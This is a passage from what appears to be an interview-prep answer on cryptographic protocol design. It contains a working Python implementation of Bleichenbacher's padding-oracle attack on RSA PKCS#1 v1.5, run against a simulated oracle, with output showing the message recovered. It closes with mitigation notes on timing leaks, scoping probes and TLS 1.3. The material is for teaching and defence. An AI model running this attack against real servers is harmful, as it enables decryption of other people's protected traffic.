return x.to_bytes(k, "big")
def os2ip(b: bytes) -> int:
return int.from_bytes(b, "big")
def make_oracle(n, d, k):
calls = {"count": 0}
def oracle(c: int) -> bool:
calls["count"] += 1
m = pow(c, d, n)
em = i2osp(m, k)
return em[0] == 0x00 and em[1] == 0x02 # "weak" oracle: prefix-only check
return oracle, calls
def ceil_div(a, b):
return -(-a // b)
def bleichenbacher(n, e, c0, k, B, oracle):
M = [(2 * B, 3 * B - 1)]
s = n // (3 * B) # starting search point for step 2a/2b (>= n/3B)
i = 1
while True:
if i == 1 or len(M) > 1:
# step 2a (i=1) / 2b (i>1, multiple intervals): linear search
s += 1
while not oracle((c0 * pow(s, e, n)) % n):
s += 1
else:
# step 2c: single interval [a,b], search via r-based candidates
a, b = M[0]
r = ceil_div(2 * (b * s - 2 * B), n)
found = False
while not found:
lo = ceil_div(2 * B + r * n, b)
hi = (3 * B + r * n) // a
for cand in range(lo, hi + 1):
if oracle((c0 * pow(cand, e, n)) % n):
s = cand
found = True
break
r += 1
# step 3: narrow the interval set using this s
new_M = []
for (a, b) in M:
r_lo = ceil_div(a * s - 3 * B + 1, n)
r_hi = (b * s - 2 * B) // n
for r in range(r_lo, r_hi + 1):
lo = max(a, ceil_div(2 * B + r * n, s))
hi = min(b, (3 * B - 1 + r * n) // s)
if lo <= hi:
new_M.append((lo, hi))
# merge overlapping/adjacent intervals
new_M.sort()
merged = []
for lo, hi in new_M:
if merged and lo <= merged[-1][1] + 1:
merged[-1] = (merged[-1][0], max(merged[-1][1], hi))
else:
merged.append((lo, hi))
M = merged
if len(M) == 1 and M[0][0] == M[0][1]:
return M[0][0], i
i += 1
if i > 200000:
raise RuntimeError("did not converge")
if __name__ == "__main__":
BITS = 128 # tiny on purpose (real RSA is 2048+) so the attack completes fast
n, e, d = gen_rsa_keypair(BITS)
k = (n.bit_length() + 7) // 8
print(f"n={n} (bit_length={n.bit_length()}, k={k} bytes), e={e}")
secret = b"HI" # short message so it fits with k=8 bytes: 00 02 PS(>=1) 00 'H' 'I'
em = pkcs1_pad(secret, k)
m = os2ip(em)
c = pow(m, e, n)
print("padded EM:", em, "-> integer m =", m)
print("ciphertext c =", c)
oracle, calls = make_oracle(n, d, k)
assert oracle(c), "sanity check: real ciphertext must be oracle-conforming"
B = 1 << (8 * (k - 2))
recovered_m, iterations = bleichenbacher(n, e, c, k, B, oracle)
recovered_em = i2osp(recovered_m, k)
print("\nrecovered EM via oracle only (no d used by attacker):", recovered_em)
print("matches original padded message:", recovered_em == em)
print(f"oracle queries used: {calls['count']}, algorithm iterations: {iterations}")
# ---- mitigation check: a server that returns the SAME generic error for
# every decryption/unpadding failure (no distinguishable padding-vs-other
# signal) gives the attacker no bit to search on at all. Bound the query
# count so this negative case terminates instead of looping forever.
def constant_time_oracle_no_signal(_c: int) -> bool:
return False # every ciphertext looks identical to the attacker
QUERY_CAP = 5000
probed = 0
s_probe = n // (3 * B)
leaked = False
while probed < QUERY_CAP:
s_probe += 1
probed += 1
if constant_time_oracle_no_signal((c * pow(s_probe, e, n)) % n):
leaked = True
break
print(f"\nagainst a fixed oracle with no distinguishable signal: "
f"{probed} probes, found a conforming response: {leaked} "
f"(step 2a of the algorithm never terminates -> attack cannot proceed)")
Output:
n=201529591239382309719806980313356061891 (bit_length=128, k=16 bytes), e=65537
padded EM: b'\x00\x02\xf19&\x8c\xf5\x8b\xc1\x80\x1c\x97\x82\x00HI' -> integer m = 15277182367652566682541000314865737
ciphertext c = 75596226839603652083449582388534583870
recovered EM via oracle only (no d used by attacker): b'\x00\x02\xf19&\x8c\xf5\x8b\xc1\x80\x1c\x97\x82\x00HI'
matches original padded message: True
oracle queries used: 13675, algorithm iterations: 96
against a fixed oracle with no distinguishable signal: 5000 probes, found a conforming response: False (step 2a of the algorithm never terminates -> attack cannot proceed)
Against a real (deliberately tiny, for runtime) RSA key, the attack recovers the exact original padded message using only the oracle's True/False signal, confirmed against the original bytes. Against a fixed oracle that returns no distinguishable signal at all, the algorithm's very first search step, finding any conforming s, never terminates within a generous query budget, because there is no varying response to search on.
Trade-offs and pitfalls
- The attack does not require the oracle to reveal why padding failed, only whether it did; a fix that unifies the error message text but leaves a timing difference between the two code paths is not actually fixed, the same class of subtlety as the CBC padding-oracle mitigation.
- A "safe" black-box test still sends real traffic to a production endpoint; scope it to a small number of clearly malformed probes and coordinate with the operator, rather than running anything resembling the full multi-thousand-query recovery against a system you don't own.
- The most durable mitigation is architectural, not a patched check: TLS 1.3 removed RSA key transport from the protocol entirely, so this whole vulnerability class cannot recur regardless of how carefully any future implementation checks padding, which is a stronger guarantee than any amount of careful error-handling in a protocol that still allows RSA key transport as an option.
Unlock Full Question Bank
Get access to all 7 Cryptographic Protocol Design and Analysis interview questions and detailed answers.
Sign in to ContinueJoin thousands of developers preparing for their dream job.